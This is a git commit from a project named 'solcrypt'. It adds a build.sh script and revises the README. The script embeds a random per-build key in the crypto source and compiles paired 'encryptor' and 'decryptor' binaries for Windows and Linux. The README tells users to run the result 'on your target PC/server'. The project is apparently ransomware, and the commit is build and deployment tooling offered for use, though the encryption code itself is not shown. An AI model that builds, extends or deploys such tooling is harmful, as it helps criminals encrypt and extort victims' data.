feat: add build.sh

This commit is contained in:
Xory 2024-06-16 12:13:57 +03:00
parent a9327e3441
commit e4a80f50c8
2 changed files with 37 additions and 11 deletions

View file

@ -7,19 +7,10 @@ Arch
``` ```
sudo pacman -S rustup sudo pacman -S rustup
rustup default stable rustup default stable
rustup target add x86_64-pc-windows-msvc # if compiling against windows targets rustup target add x86_64-pc-windows-gnu # if compiling for windows targets
git clone https://git.xorycode.dev/xory/solcrypt git clone https://git.xorycode.dev/xory/solcrypt
cd solcrypt cd solcrypt
cargo build --release --bin solcrypt_main # linux targets bash build.sh # this builds both encryptor and decryptor
cargo build --target x86_64-pc-windows-msvc --bin solcrypt_main --release # windows targets
``` ```
Then run it on your target PC/server Then run it on your target PC/server
### Decryptor
Assuming you already have the source code cloned
Arch
```
cd solcrypt
cargo build --release --bin decryptor # linux targets
cargo build --target x86_64-pc-windows-msvc --bin decryptor --release # windows targets
```

35
build.sh Normal file
View file

@ -0,0 +1,35 @@
#! /bin/bash
echo "SOLCRYPT v. 001"
echo "Build Script v. 001"
echo "[!] Preparing..."
cp src/crypto.rs src/crypto.rs.bak
echo "[i] Replacing key with random data."
export KEY="$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)"
sed -i -e "s/keyhereshouldbereplacedbybuilder/$KEY/g" src/crypto.rs
echo "[!] Source ready."
PS3='Please select option:'
options=("Windows" "Linux" "Both" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Windows")
cargo build --bin solcrypt_main --target x86_64-pc-windows-gnu
cargo build --bin decryptor --target x86_64-pc-windows-gnu
;;
"Linux")
cargo build --bin solcrypt_main --target x86_64-unknown-linux-gnu
cargo build --bin decryptor --target x86_64-unknown-linux-gnu
;;
"Both")
cargo build --bin solcrypt_main --target x86_64-pc-windows-gnu
cargo build --bin decryptor --target x86_64-pc-windows-gnu
cargo build --bin solcrypt_main --target x86_64-unknown-linux-gnu
cargo build --bin decryptor --target x86_64-unknown-linux-gnu
;;
"Quit")
mv src/crypto.rs.bak src/crypto.rs
break
;;
*) echo "invalid option $REPLY";;
esac
done